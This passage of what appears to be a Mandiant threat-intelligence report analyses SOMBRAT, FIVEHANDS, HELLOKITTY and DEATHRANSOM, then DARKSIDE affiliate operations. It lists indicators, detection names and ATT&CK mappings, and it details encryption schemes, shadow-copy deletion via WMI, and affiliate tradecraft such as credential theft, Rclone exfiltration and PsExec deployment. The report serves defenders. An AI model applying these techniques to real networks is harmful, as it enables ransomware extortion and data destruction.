The SOMBRAT backdoor can communicate with its C2 server using both DNS and a proxy-aware, TLS-encrypted stream protocol. By default, the backdoor uses the DNS protocol; however, this can be reconfigured by the C2 server. Mandiant observed the domains feticost[.]com and celomito[.]com used for DNS C2 communications.

When the backdoor communicates via its DNS protocol, it constructs and resolves FQDNs, interpreting the DNS results to extract C2 messages. The authoritative DNS server embeds data within the IP address field of DNS A record results and within the Name Administrator field of DNS TEXT record results. By making many requests to unique subdomains of the C2 domain, the backdoor can slowly transmit information a few bytes at a time.

Ransomware Similarities

Beginning in October 2020, Mandiant observed samples of a customized version of DEATHRANSOM. This newly modified version removed the language check feature (Figure 3 shows the language check of DEATHRANSOM).


Figure 3: Language check from Fortinet blog

  • HELLOKITTY ransomware—used to target Polish video game developer CD Projekt Red—is reportedly built from DEATHRANSOM.
    • HELLOKITTY is named after a mutex named ‘HELLOKITTYMutex,’ used when the malware executable is launched (see Figure 4).


Figure 4: HELLOKITTY mutex shown in Process Explorer

In January 2021, Mandiant observed a new ransomware deployed against a victim and assigned the name FIVEHANDS.

  • Analysis of FIVEHANDS revealed high similarity to DEATHRANSOM, sharing several features, functions, and coding similarities. Absent in FIVEHANDS is a language check, similar to HELLOKITTY
  • Both DEATHRANSOM and FIVEHANDS drops a ransom note in all non-excluded directories

Technical Comparison of FIVEHANDS, HELLOKITTY and DEATHRANSOM

DEATHRANSOM is written in C while the other two families are written in C++. DEATHRANSOM uses a distinct series of do/while loops to enumerate through network resources, logical drives, and directories. It also uses QueueUserWorkItem to implement thread pooling for its file encryption threads.

HELLOKITTY is written in C++, but reimplements a significant portion of DEATHRANSOM's functionality using similar loop operations and thread pooling via QueueUserWorkItem. The code structure to enumerate network resources, logical drives, and perform file encryption is very similar. Additionally, HELLOKITTY and DEATHRANSOM share very similar functions to check for the completion status of their encryption threads before exiting.

FIVEHANDS is written in C++ and although high level functionality is similar, the function calls and code structure to implement the majority of the functionality is written differently. Also, instead of executing threads using QueueUserWorkItem, FIVEHANDS uses IoCompletionPorts to more efficiently manage its encryption threads. FIVEHANDS also uses more functionality from the C++ standard template library (STL) than does HELLOKITTY.

Deletion of Volume Shadow Copies

DEATHRANSOM, HELLOKITTY, and FIVEHANDS use the same code to delete volume shadow copies via WMI by performing the query select * from Win32_ShadowCopy and then deleting each instance returned by its id.

Encryption Operations

Each of these three malware families utilizes a similar encryption scheme. An asymmetric public key is either hard-coded or generated. A unique symmetric key is generated for each encrypted file.

  • After each file is encrypted, the asymmetric key will encrypt the symmetric key and append it to the encrypted file. Additionally, a unique four byte magic value is appended to the end of the encrypted file. The malware checks for these magic bytes to ensure it does not encrypt a previously encrypted file again.
  • DEATHRANSOM and HELLOKITTY implement the file encryption operations using a very similar code structure and flow.
  • FIVEHANDS implements its file encryption with a differing code structure and uses different embedded encryption libraries.
  • In addition to the symmetric key, HELLOKITTY and FIVEHANDS also encrypts file metadata with the public key and appends this to the encrypted file.
  • DEATHRANSOM generates an RSA key pair while HELLOKITTY and FIVEHANDS use an embedded RSA or NTRU public key.

DEATHRANSOM Encryption

  • DEATHRANSOM creates an RSA-2048 public and private key pair. Using an Elliptic-curve Diffie–Hellman (ECDH) routine implemented with Curve25519, it computes a shared secret using two input values: 1) 32 random bytes from a RtlGenRandom call and 2) a hardcoded 32 byte value (attacker's public key). It also create a Curve25519 public key. The shared secret is SHA256 hashed and used as the key to Salsa20 encrypt the RSA public and private keys.
  • The RSA public key is used to encrypt the individual symmetric keys that are used to encrypt each file. A Base64 encoded version of the encrypted RSA keys and the victim’s Curve25519 public key is included in the ransom note, providing the threat actors the information needed to decrypt the victim's files.
  • For the symmetric key, DEATHRANSOM calls RtlGenRandom to generate 32 random bytes. This is the 32 byte key used to AES encrypt each file. After the file is encrypted, the AES key is encrypted with the public RSA key and appended to the file.
  • DEATHRANSOM lastly appends the four magic bytes of AB CD EF AB at the end of the encrypted file and uses this as a check to ensure that it does not encrypt an already encrypted file.
  • The analyzed DEATHRANSOM sample used for comparison does not change the file extension.

HELLOKITTY Encryption

  • HELLOKITTY contains an embedded RSA-2048 public key. This public key is SHA256 hashed and used as the victim ID within the ransom note. This RSA pubic key is also used to encrypt each file's symmetric key.
  • For the symmetric key, HelloKitty generates a 32 byte seed value based on the CPU timestamp. A Salsa20 key is generated and encrypts a second 32 byte seed value. The encrypted result is XOR’d with the first seed, resulting in a 32 byte key used to AES encrypt each file.
  • After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public RSA key and appended to the file. HELLOKITTY and FIVEHANDS appends this additional metadata to the encrypted file, while DEATHRANSOM does not.
  • Lastly it appends the four magic bytes DA DC CC AB to the end of the encrypted file.
  • Depending on the version, HELLOKITTY may or may not change the file extension.
  • Other samples of HELLOKITTY have used an embedded NTRU public key instead of RSA.

FIVEHANDS Encryption

  • FIVEHANDS uses an embedded NTRU public key. This NTRU key is SHA512 hashed and the first 32 bytes are used as the victim ID within the ransom note. This NTRU pubic key is also used to encrypt each file's symmetric key.
  • For the symmetric key, FIVEHANDS uses an embedded generation routine to produce 16 random bytes used for an AES key to encrypt each file.
  • After each file is encrypted, the original file size, magic value of DE C0 AD BA, and AES key are encrypted with the public NTRU key and appended to the file.
  • The four magic bytes DB DC CC AB are appended to the end of the encrypted file.
  • FIVEHANDS includes additional code not found in DEATHRANSOM and HELLOKITTY to use the Windows Restart Manager to close a file currently in use so that it can be unlocked and successfully encrypted.
  • The encrypted file extension is changed to .crypt  extension
  • FIVEHANDS's encryption flow and sequence is very different from the other two, partially because it incorporates asynchronous I/O requests and uses different embedded encryption libraries.

FIVEHANDS Encrypted Dropper

One significant change between DEATHRANSOM and FIVEHANDS is the use of a memory-only dropper, which upon execution, expects a command line switch of -key followed by the key value necessary to perform decryption of its payload. The payload is stored and encrypted with AES-128 using an IV of “85471kayecaxaubv”. The decrypted FIVEHANDS payload is immediately executed after decryption. To date, Mandiant has only observed encrypted droppers with a common imphash of 8517cf209c905e801241690648f36a97.

CLI arguments

FIVEHANDS can receive a CLI argument for a path, this limits the ransomware's file encryption activities to the specified directory. DEATHRANSOM and HELLOKITTY do not accept CLI arguments.

Locale and Mutex checks

DEATHRANSOM performs language ID and keyboard layout checks. If either of these match Russian, Kazakh, Belarusian, Ukrainian or Tatar it exits. Neither HELLOKITTY or FIVEHANDS perform language ID or keyboard checks.

HELLOKITTY performs a mutex check while the other two do not perform mutex checks.

File Exclusions

DEATHRANSOM and HELLOKITTY both exclude the same directories and files:

programdata, $recycle.bin, program files, windows, all users, appdata, read_me.txt, autoexec.bat, desktop.ini, autorun.inf, ntuser.dat, iconcache.db, bootsect.bak, boot.ini, ntuser.dat.log, or thumbs.db.

The exclusions for FIVEHANDS are more extensive and contain additional files and directories to ignore.

Additional Differences

  • DEATHRANSOM makes an external HTTPS connection to download a file. Neither HELLOKITTY or FIVEHANDS initiate network connections.
  • HELLOKITTY contains code to set the victims wallpaper to a ransom related image. The other samples do not have this functionality
  • Different versions of DEATHRANSOM and HELLOKITTY are known to change the file extension
  • Different versions of HELLOKITTY are known to check for specific processes to terminate.

Feature

FIVEHANDS

HELLOKITTY

DEATHRANSOM

Programming Language

C++

C++

C

Symmetric Encryption

AES 128

AES 256

AES 256

Asymmetric Encryption

Embedded NTRU Key

Embedded RSA or NTRU Key

Curve25519 ECDH and RSA key creation

Same directory and file name exclusions

No

Yes

Yes

Accepts CLI Arguments

Yes

No

No

Network Connections

No

No

Yes

Locale Check

No

No

Yes

Mutex Check

No

Yes

No

Bytes Appended to Encrypted Files

DB DC CC AB

DA DC CC AB

AB CD EF AB

Table 1: Ransomware feature comparison

Conclusion

Mandiant observed SOMBRAT and FIVEHANDS ransomware by the same group since January 2021. While similarities between HELLOKITTY and FIVEHANDS are notable, ransomware may be used by different groups through underground affiliate programs. Mandiant will assign an uncategorized cluster based on multiple factors including infrastructure used during intrusions and as such, not all SOMBRAT or FIVEHANDS ransomware intrusions may have been conducted by UNC2447. WARPRISM and FOXGRABBER have been used in SUNCRYPT and DARKSIDE ransomware demonstrating additional complexity and sharing between different ransomware affiliate programs.

Indicators

SOMBRAT UNC2447
  • 87c78d62fd35bb25e34abb8f4caace4a
  • 6382d48fae675084d30ccb69b4664cbb (31dcd09eb9fa2050aadc0e6ca05957bf unxored)
SOMBRAT Launcher
  • cf1b9284d239928cce1839ea8919a7af (wwansvc.a XOR key)
  • 4aa3eab3f657498f52757dc46b8d1f11 (wwansvc.c)
  • 1f6495ea7606a15daa79be93070159a8 (wwansvc.bat)
  • 31dcd09eb9fa2050aadc0e6ca05957bf (wwansvc.b)
  • edf567bd19d09b0bab4a8d068af15572 (wwansvc.b)
  • a5b26931a1519e9ceda04b4c997bb01f (wwansvc.txt)
  • f0751bef4804fadfe2b993bf25791c49 (4aa3eab3f657498f52757dc46b8d1f11 unxored)
  • 87c78d62fd35bb25e34abb8f4caace4a (edf567bd19d09b0bab4a8d068af15572 unxored)
SOMBRAT domains
  • Celomito[.]com (unc2447)
  • Feticost[.]com (unc2447)
  • Cosarm[.]com
  • Portalcos[.]com
FIVEHANDS
  • 39ea2394a6e6c39c5d7722dc996daf05
  • f568229e696c0e82abb35ec73d162d5e
FIVEHANDS Encrypted Dropper
  • 6c849920155f48d4b4aafce0fc49eb5b
  • 22d35005e926fe29379cb07b810a6075
  • 57824214710bc0cdb22463571a72afd0
  • 87c0b190e3b4ab9214e10a2d1c182153
  • 1b0b9e4cddcbcb02affe9c8124855e58
  • 46ecc24ef6d20f3eaf71ff37610d57d1
  • 1a79b6d169aac719c9323bc3ee4a8361
  • a64d79eba40229ae9aaebbd73938b985
HELLOKITTY
  • 136bd70f7aa98f52861879d7dca03cf2
  • 06ce6cd8bde756265f95fcf4eecadbe9
  • af568e8a6060812f040f0cb0fd6f5a7b
  • d96adf82f061b1a6c80699364a1e3208
DEATHRANSOM
  • c50ab1df254c185506ab892dc5c8e24b
WARPRISM
  • c925822c6d5175c30ba96388b07e9e16 (unc2447)
  • c171bcd34151cbcd48edbce13796e0ed
  • d87fcd8d2bf450b0056a151e9a116f72
  • f739977004981fbe4a54bc68be18ea79
  • e18b27f75c95b4d50bfcbcd00a5bd6c5
  • df6e6b3e53cc713276a03cce8361ae0f
  • 1cd03c0d00f7bfa7ca73f7d73677d8f8
  • 8071f66d64395911a7aa0d2057b9b00d
  • c12a96e9c50db5f8b0b3b5f9f3f134f0
  • e39184eacba2b05aaa529547abf41d2b
  • 09a05a2212bd2c0fe0e2881401fbff17
  • 8226d7615532f32eca8c04ac0d41a9fd
  • a01a2ba3ae9f50a5aa8a5e3492891082
  • 29e53b32d5b4aae6d9a3b3c81648653c
  • a809068b052bc209d0ab13f6c5c8b4e7
BEACON UNC2447
  • 64.227.24[.]12 Havex Profile January 2021
  • 157.230.184[.]142  chches_ APT10 Profile November 2020-January 2021
  • 74c688a22822b2ab8f18eafad2271cac
  • 7d6e57cbc112ebd3d3c95d3c73451a38
FOXGRABBER
  • 4d3d3919dda002511e03310c49b7b47f

FireEye Detections

FireEye Network Security

FireEye Email Security

FireEye Detection On Demand

FireEye Malware Analysis

FireEye Malware File Protect

 

FIVEHANDS

  • FE_Loader_Win32_Generic_162
  • FE_Ransomware_Win32_FIVEHANDS_1
  • Malware.Binary.exe
  • Ransomware.Win.Generic.MVX

SOMBRAT

  • FE_Backdoor_Win64_SOMBRAT_1
  • Backdoor.Win.SOMBRAT
  • Malware.Binary.exe
  • Backdoor.Win.SOMBRAT.MVX
  • FEC_Trojan_PS1_Generic_7
  • FEC_Trojan_PS1_Generic_8
  • FEC_Trojan_BAT_Generic_5

HELLOKITTY

  • Ransomware.Win.Generic.MVX
  • Malware.Binary.exe
  • Ransomware.Win.HELLOKITTY.MVX
  • FE_Ransomware_Win_HELLOKITTY_1
  • FE_Ransomware_Win32_HELLOKITTY_1

DEATHRANSOM

  • FE_Loader_Win32_Generic_92
  • Ransomware.Win.Generic.MVX
  • Malware.Binary.exe

BEACON

  • FE_Loader_Win32_BLUESPINE_1
  • Backdoor.BEACON
  • Malware.Binary.exe

WARPRISM

  • FE_Loader_PS1_WARPRISM_1
  • FEC_Loader_PS1_WARPRISM_1
  • Backdoor.BEACON
  • Trojan.Generic
  • Trojan.Win.SYSTEMBC
  • Backdoor.Meterpreter
  • Loader.PS1.WARPRISM.MVX
  • Malware.Binary.exe
  • Malware.Binary.ps1

FOXGRABBER

  • FE_Tool_MSIL_FOXGRABBER_1
  • FE_Trojan_MSIL_Generic_109

FireEye EndPoint Security

Real-Time (IOC)

  • SOMBRAT (BACKDOOR)
  • SUSPICIOUS POWERSHELL READ BASE64 DATA (METHODOLOGY)
  • FIVEHANDS RANSOMWARE (FAMILY)
  • DEATHRANSOM RANSOMWARE (FAMILY)
  • HELLOKITTY RANSOMWARE (FAMILY)
  • BEACON (FAMILY)

Malware Protection (AV/MG)

  • SOMBRAT 
    • Generic.mg. 87c78d62fd35bb25
    • Generic.mg.6382d48fae675084
    • Trojan.GenericKD.45750384
    • Trojan.GenericKD.36367848
    • Generic.PwShell.RefA.CB5E962A
  • FIVEHANDS
    • Generic.mg.39ea2394a6e6c39c
    • Generic.mg.f568229e696c0e82
    • Generic.mg.6c849920155f48d4
    • Generic.mg.22d35005e926fe29
    • Generic.mg.57824214710bc0cd
    • Generic.mg.87c0b190e3b4ab92
    • Generic.mg.1b0b9e4cddcbcb02
    • Generic.mg.46ecc24ef6d20f3e
    • Generic.mg.1a79b6d169aac719
    • Generic.mg.a64d79eba40229ae
    • Gen:Variant.Zusy.375932
    • Gen:Variant.Zusy.366866
    • Trojan.GenericKD.46059492
    • Trojan.GenericKD.46059131
    • Trojan.GenericKD.45996121
    • Trojan.GenericKD.45702783
  • WARPRISM 
    • Generic.mg.a01a2ba3ae9f50a5
    • Trojan.PowerShell.Agent.IJ
    • Trojan.Agent.EXDR
    • Trojan.PowerShell.Ransom.E
    • Trojan.Agent.EUKPTrojan.GenericKD.45856129
    • Heur.BZC.PZQ.Boxter.829.B5AEB7A6
    • Heur.BZC.PZQ.Boxter.829.B84D01A7
    • Heur.BZC.PZQ.Boxter.829.AE76D25C
    • Trojan.PowerShell.Ransom.F
    • Dropped:Heur.BZC.MNT.Boxter.826.0A2B3A87
    • Heur.BZC.PZQ.Boxter.829.A15701BD
  • DEATHRANSOM
    • Generic.mg.c50ab1df254c1855
    • Trojan.Ransomware.GenericKD.35760206
  • HELLOKITTY
    • Generic.mg.136bd70f7aa98f52
    • Generic.mg.06ce6cd8bde75626
    • Generic.mg.af568e8a6060812f
    • Generic.mg.d96adf82f061b1a6
    • Generic.Malware.PfVPk!12.299C21F3
    • Gen:Variant.Ransom.HelloKitty.1
    • Generic.Malware.PfVPk!12.606CCA24
    • Generic.Malware.PfVPk!12.1454636C
  • BEACON
    • Generic.mg.74c688a22822b2ab
    • Generic.mg.7d6e57cbc112ebd3
    • Trojan.Agent.DDSN

MITRE ATT&CK

Tactic

Description

Initial Access

  • T1078 Valid Accounts

Execution

  • T1047 Windows Management Instrumentation
  • T1053.005 Scheduled Task / Job: Scheduled Task
  • T1059.001 Command and Scripting Interpreter: PowerShell
  • T1106 Execution through API

Defense Evasion

  • T1045 Software Packing
  • T1055 Process Injection
  • T1140 Deobfuscate / Decode Files or Information

Discovery

  • T1012 Query Registry
  • T1046 Network Service Scanning
  • T1057 Process Discovery
  • T1082 System Information Discovery
  • T1124 System Time Discovery
  • T1135 Network Share Discovery

Collection

  • T1560.003 Archive Collected Data: Archive via Custom Method

Impact

  • T1485 Data Destruction
  • T1486 Data Encrypted for Impact
  • T1490 Inhibit System Recovery

Command and Control

  • T1071.001 Application Layer Protocol: Web Protocols
  • T1090.002 Proxy: External Proxy
  • T1572  Protocol Tunneling
  • T1573.002 Encrypted Channel: Asymmetric Cryptography

Exfiltration

  • T1041 Exfiltration over C2 Channel

Acknowledgements

Thanks to Nick Richard for technical review, Genevieve Stark and Kimberly Goody for analytical contributions, and Jon Erickson, Jonathan Lepore, and Stephen Eckels for analysis incorporated into this blog post.

Shining a Light on DARKSIDE Ransomware Operations

11 May 2021 at 21:30

Update (May 14): Mandiant has observed multiple actors cite a May 13 announcement that appeared to be shared with DARKSIDE RaaS affiliates by the operators of the service. This announcement stated that they lost access to their infrastructure, including their blog, payment, and CDN servers, and would be closing their service. Decrypters would also be provided for companies who have not paid, possibly to their affiliates to distribute. The post cited law enforcement pressure and pressure from the United States for this decision. We have not independently validated these claims and there is some speculation by other actors that this could be an exit scam.

Background

Since initially surfacing in August 2020, the creators of DARKSIDE ransomware and their affiliates have launched a global crime spree affecting organizations in more than 15 countries and multiple industry verticals. Like many of their peers, these actors conduct multifaceted extortion where data is both exfiltrated and encrypted in place, allowing them to demand payment for unlocking and the non-release of stolen data to exert more pressure on victims.

The origins of these incidents are not monolithic. DARKSIDE ransomware operates as a ransomware-as-a-service (RaaS) wherein profit is shared between its owners and partners, or affiliates, who provide access to organizations and deploy the ransomware. Mandiant currently tracks multiple threat clusters that have deployed this ransomware, which is consistent with multiple affiliates using DARKSIDE. These clusters demonstrated varying levels of technical sophistication throughout intrusions. While the threat actors commonly relied on commercially available and legitimate tools to facilitate various stages of their operations, at least one of the threat clusters also employed a now patched zero-day vulnerability.

Reporting on DARKSIDE has been available in advance of this blog post to users of Mandiant Advantage Free, a no-cost version of our threat intelligence platform.

Targeting

Mandiant has identified multiple DARKSIDE victims through our incident response engagements and from reports on the DARKSIDE blog. Most of the victim organizations were based in the United States and span across multiple sectors, including financial services, legal, manufacturing, professional services, retail, and technology. The number of publicly named victims on the DARKSIDE blog has increased overall since August 2020, with the exception of a significant dip in the number of victims named during January 2021 (Figure 1). It is plausible that the decline in January was due to threat actors using DARKSIDE taking a break during the holiday season. The overall growth in the number of victims demonstrates the increasing use of the DARKSIDE ransomware by multiple affiliates.


Figure 1: Known DARKSIDE victims (August 2020 to April 2021)

DARKSIDE Ransomware Service

Beginning in November 2020, the Russian-speaking actor "darksupp" advertised DARKSIDE RaaS on the Russian-language forums exploit.in and xss.is. In April 2021, darksupp posted an update for the "Darkside 2.0" RaaS that included several new features and a description of the types of partners and services they were currently seeking (Table 1). Affiliates retain a percentage of the ransom fee from each victim. Based on forum advertisements, the RaaS operators take 25% for ransom fees less than $500,000, but this decreases to 10 percent for ransom fees greater than $5 million.

In addition to providing builds of DARKSIDE ransomware, the operators of this service also maintain a blog accessible via TOR. The actors use this site to publicize victims in an attempt to pressure these organizations into paying for the non-release of stolen data. A recent update to their underground forum advertisement also indicates that actors may attempt to DDoS victim organizations. The actor darksupp has stated that affiliates are prohibited from targeting hospitals, schools, universities, non-profit organizations, and public sector entities. This may be an effort by the actor(s) to deter law enforcement action, since targeting of these sectors may invite additional scrutiny. Affiliates are also prohibited from targeting organizations in Commonwealth of Independent States (CIS) nations.

Advertisement Date/Version

Feature/Update

Related Reporting

Nov. 10, 2020 (V1)

 

Ability to generate builds for both Windows and Linux environments from within the administration panel. 

20-00023273

Encrypts files using Salsa20 encryption along with an RSA-1024 public key

Access to an administrative panel via TOR that can be used by clients to manage Darkside builds, payments, blog posts, and communication with victims

The admin panel includes a Blog section that allows clients to publish victim information and announcements to the Darkside website for the purposes of shaming victims and coercing them to pay ransom demands

April 14, 2021 (V2.0)

 

Automated test decryption. The process from encryption to withdrawal of money is automated and no longer relies on support.

21-00008435

Available DDoS of targets (Layer 3, Layer 7)

Sought a partner to provide network accesses to them and a person or team with pentesting skills

Table 1: Notable features and updates listed on DARKSIDE advertisement thread (exploit.in)

DARKSIDE Affiliates

DARKSIDE RaaS affiliates are required to pass an interview after which they are provided access to an administration panel (Figure 2). Within this panel, affiliates can perform various actions such as creating a ransomware build, specifying content for the DARKSIDE blog, managing victims, and contacting support. Mandiant has identified at least five Russian-speaking actors who may currently, or have previously, been DARKSIDE affiliates. Relevant advertisements associated with a portion of these threat actors have been aimed at finding either initial access providers or actors capable of deploying ransomware on accesses already obtained. Some actors claiming to use DARKSIDE have also allegedly partnered with other RaaS affiliate programs, including BABUK and SODINOKIBI (aka REvil). For more information on these threat actors, please see Mandiant Advantage.


Figure 2: DARKSIDE affiliate panel

Attack Lifecycle

Mandiant currently tracks five clusters of threat activity that have involved the deployment of DARKSIDE. For more information on uncategorized threats, refer to our post, "DebUNCing Attribution: How Mandiant Tracks Uncategorized Threat Actors." These clusters may represent different affiliates of the DARKSIDE RaaS platform. Throughout observed incidents, the threat actor commonly relied on various publicly available and legitimate tools that are commonly used to facilitate various stages of the attack lifecycle in post-exploitation ransomware attacks (Figure 3). Additional details on three of these UNC groups are included below.


Figure 3: TTPs seen throughout DARKSIDE ransomware engagements

UNC2628

UNC2628 has been active since at least February 2021. Their intrusions progress relatively quickly with the threat actor typically deploying ransomware in two to three days. We have some evidence that suggests UNC2628 has partnered with other RaaS including SODINOKIBI (REvil) and NETWALKER.

  • In multiple cases we have observed suspicious authentication attempts against corporate VPN infrastructure immediately prior to the start of interactive intrusion operations. The authentication patterns were consistent with a password spraying attack, though available forensic evidence was insufficient to definitively attribute this precursor activity to UNC2628.
  • In cases where evidence was available, the threat actor appeared to obtain initial access through corporate VPN infrastructure using legitimate credentials.
  • UNC2628 has interacted with victim environments using various legitimate accounts, but in multiple cases has also created and used a domain account with the username 'spservice'. Across all known intrusions, UNC2628 has made heavy use of the Cobalt Strike framework and BEACON payloads. BEACON command and control (C2) infrastructure attributed to this actor has included the following:
    • hxxps://104.193.252[.]197:443/
    • hxxps://162.244.81[.]253:443/
    • hxxps://185.180.197[.]86:443/
    • hxxps://athaliaoriginals[.]com/
    • hxxps://lagrom[.]com:443/font.html
    • hxxps://lagrom[.]com:443/night.html
    • hxxps://lagrom[.]com:443/online.html
    • hxxps://lagrom[.]com:443/send.html
    • hxxps://lagrom[.]com/find.html?key=id#-
  • In at least some cases there is evidence to suggest this actor has employed Mimikatz for credential theft and privilege escalation.
  • The threat actor appeared to have used built-in commands such as ‘net’ and ‘ping’ to perform basic reconnaissance of the internal network, though it is likely that additional reconnaissance was performed via BEACON and not represented in available log sources.
  • UNC2628 has moved laterally in environments almost exclusively via RDP using legitimate credentials and Cobalt Strike BEACON payloads. This threat cluster uses both HTTPS BEACON payloads and SMB BEACON, the latter almost exclusively using named pipes beginning with “\\.\pipe\UIA_PIPE_”
  • Intrusions attributed to this threat cluster have progressed swiftly from intrusion to data theft and ransomware deployment, and have thus not focused heavily on maintaining a persistent foothold in impacted environments.  Despite this, UNC2628 has maintained access via the collection of legitimate credentials, the creation of attacker-controlled domain accounts (spservice), and via the creation of Windows services intended to launch BEACON. Notably, UNC2628 has repeatedly loaded BEACON with a service named ‘CitrixInit’.
  • UNC2628 has also employed F-Secure Labs' Custom Command and Control (C3) framework, deploying relays configured to proxy C2 communications through the Slack API. Based on this actor's other TTPs they were likely using C3 to obfuscate Cobalt Strike BEACON traffic.
  • The threat actor has exfiltrated data over SFTP using Rclone to systems in cloud hosting environments. Rclone is a command line utility to manage files for cloud storage applications. Notably, the infrastructure used for data exfiltration has been reused across multiple intrusions. In one case, the data exfiltration occurred on the same day that the intrusion began.
  • UNC2628 deploys DARKSIDE ransomware encryptors using PsExec to a list of hosts contained in multiple text files.
  • The threat actor has used the following directories, placing copies of backdoors, ransomware binaries, copies of PsExec, and lists of victim hosts within them.
    • C:\run\
    • C:\home\
    • C:\tara\
    • C:\Users\[username]\Music\
    • C:\Users\Public

UNC2659

UNC2659 has been active since at least January 2021. We have observed the threat actor move through the whole attack lifecycle in under 10 days. UNC2659 is notable given their use of an exploit in the SonicWall SMA100 SSL VPN product, which has since been patched by SonicWall. The threat actor appeared to download several tools used for various phases of the attack lifecycle directly from those tools’ legitimate public websites.

  • The threat actor obtained initial access to their victim by exploiting CVE-2021-20016, an exploit in the SonicWall SMA100 SSL VPN product, which has been patched by SonicWall. There is some evidence to suggest the threat actor may have used the vulnerability to disable multi-factor authentication options on the SonicWall VPN, although this has not been confirmed.
  • The threat actor leveraged TeamViewer (TeamViewer_Setup.exe) to establish persistence within the victim environment. Available evidence suggests that the threat actor downloaded TeamViewer directly from the following URL and also browsed for locations from which they could download the AnyDesk utility.
    • hxxps://dl.teamviewer[.]com/download/version_15x/TeamViewer_Setup.exe
  • The threat actor appeared to download the file rclone.exe directly from rclone[.]org - hxxps://downloads.rclone[.]org/v1.54.0/rclone-v1.54.0-windows-amd64.zip. The threat actors were seen using rclone to exfiltrate hundreds of gigabytes of data over the SMB protocol to the pCloud cloud-based hosting and storage service.
  • The threat actor deployed the file power_encryptor.exe in a victim environment, encrypting files and creating ransom notes over the SMB protocol.
  • Mandiant observed the threat actor navigate to ESXi administration interfaces and disable snapshot features prior to the ransomware encryptor deployment, which affected several VM images.

UNC2465

UNC2465 activity dates back to at least April 2019 and is characterized by their use of similar TTPs to distribute the PowerShell-based .NET backdoor SMOKEDHAM in victim environments. In one case where DARKSIDE was deployed, there were months-long gaps, with only intermittent activity between the time of initial compromise to ransomware deployment. In some cases, this could indicate that initial access was provided by a separate actor.

  • UNC2465 used phishing emails and legitimate services to deliver the SMOKEDHAM backdoor. SMOKEDHAM is a .NET backdoor that supports keylogging, taking screenshots, and executing arbitrary .NET commands. During one incident, the threat actor appeared to establish a line of communication with the victim before sending a malicious Google Drive link delivering an archive containing an LNK downloader. More recent UNC2465 emails have used Dropbox links with a ZIP archive containing malicious LNK files that, when executed, would ultimately lead to SMOKEDHAM being downloaded onto the system.  
  • UNC2465 has used Advanced IP Scanner, BLOODHOUND, and RDP for internal reconnaissance and lateral movement activities within victim environments.
  • The threat actor has used Mimikatz for credential harvesting to escalate privileges in the victim network.
  • UNC2465 also uses the publicly available NGROK utility to bypass firewalls and expose remote desktop service ports, like RDP and WinRM, to the open internet.
  • Mandiant has observed the threat actor using PsExec and cron jobs to deploy the DARKSIDE ransomware.
  • UNC2465 has called the customer support lines of victims and told them that data was stolen and instructed them to follow the link in the ransom note.

Implications

We believe that threat actors have become more proficient at conducting multifaceted extortion operations and that this success has directly contributed to the rapid increase in the number of high-impact ransomware incidents over the past few years. Ransomware operators have incorporated additional extortion tactics designed to increase the likelihood that victims will acquiesce to paying the ransom prices. As one example, in late April 2021, the DARKSIDE operators released a press release stating that they were targeting organizations listed on the NASDAQ and other stock markets. They indicated that they would be willing to give stock traders information about upcoming leaks in order to allow them potential profits due to stock price drops after an announced breach. In another notable example, an attacker was able to obtain the victim's cyber insurance policy and leveraged this information during the ransom negotiation process refusing to lower the ransom amount given their knowledge of the policy limits. This reinforces that during the post-exploitation phase of ransomware incidents, threat actors can engage in internal reconnaissance and obtain data to increase their negotiating power. We expect that the extortion tactics that threat actors use to pressure victims will continue to evolve throughout 2021.

Based on the evidence that DARKSIDE ransomware is distributed by multiple actors, we anticipate that the TTPs used throughout incidents associated with this ransomware will continue to vary somewhat. For more comprehensive recommendations for addressing ransomware, please refer to our blog post: "Ransomware Protection and Containment Strategies: Practical Guidance for Endpoint Protection, Hardening, and Containment" and the linked white paper.

Acknowledgements

Beyond the comparatively small number of people who are listed as authors on this report are hundreds of consultants, analysts and reverse-engineers who tirelessly put in the work needed to respond to intrusions at breakneck pace and still maintain unbelievably high analytical standards. This larger group has set the foundation for all of our work, but a smaller group of people contributed more directly to producing this report and we would like to thank them by name. We would like to specifically thank Bryce Abdo and Matthew Dunwoody from our Advanced Practices team and Jay Smith from FLARE, all of whom provided analytical support and technical review. Notable support was also provided by Ioana Teaca, and Muhammadumer Khan.

Appendix A: DARKSIDE Ransomware Analysis

DARKSIDE is a ransomware written in C that may be configured to encrypt files on fixed and removable disks as well as network shares. DARKSIDE RaaS affiliates are given access to an administration panel on which they create builds for specific victims. The panel allows some degree of customization for each ransomware build such as choosing the encryption mode and whether local disks and network shares should be encrypted (Figures 4). The following malware analysis is based on the file MD5: 1a700f845849e573ab3148daef1a3b0b. A more recently analyzed DARKSIDE sample had the following notable differences:

  • The option for beaconing to a C2 server was disabled and the configuration entry that would have contained a C2 server was removed.
  • Included a persistence mechanism in which the malware creates and launches itself as a service.
  • Contained a set of hard-coded victim credentials that were used to attempt to logon as a local user. If the user token retrieved based on the stolen credentials is an admin token and is part of the domain administrators' group, it is used for network enumeration and file permission access.


Figure 4: DARKSIDE build configuration options appearing in the administration panel

Host-Based Indicators

Persistence Mechanism

Early versions of the malware did not contain a persistence mechanism. An external tool or installer was required if the attacker desired persistence. A DARKSIDE version observed in May 2021 implement a persistence mechanism through which the malware creates and launches itself as a service with a service name and description named using eight pseudo-randomly defined lowercase hexadecimal characters (e.g., ".e98fc8f7") that are also appended by the malware to various other artifacts it created.  This string of characters is referenced as <ransom_ext>. :

Service Name: <ransom_ext>
Description: <ransom_ext>

Filesystem Artifacts

Created Files

%CD%\LOG<ransom_ext>.TXT
README<ransom_ext>.TXT
<original_filename_plus_ext><ransom_ext>
May version: %PROGRAMDATA%\<ransom_ext>.ico

Registry Artifacts

The DARKSIDE version observed in May sets the following registry key:

HKCR\<ransom_ext>\DefaultIcon\<ransom_ext>\DefaultIcon=%PROGRAMDATA%\<ransom_ext>.ico

Details

Configuration

The malware initializes a 0x100-byte keystream used to decrypt strings and configuration data. Strings are decrypted as needed and overwritten with NULL bytes after use. The malware's configuration size is 0xBE9 bytes. A portion of the decrypted configuration is shown in Figure 5.

00000000  01 00 01 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000010  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000020  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000030  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000040  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
00000050  00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
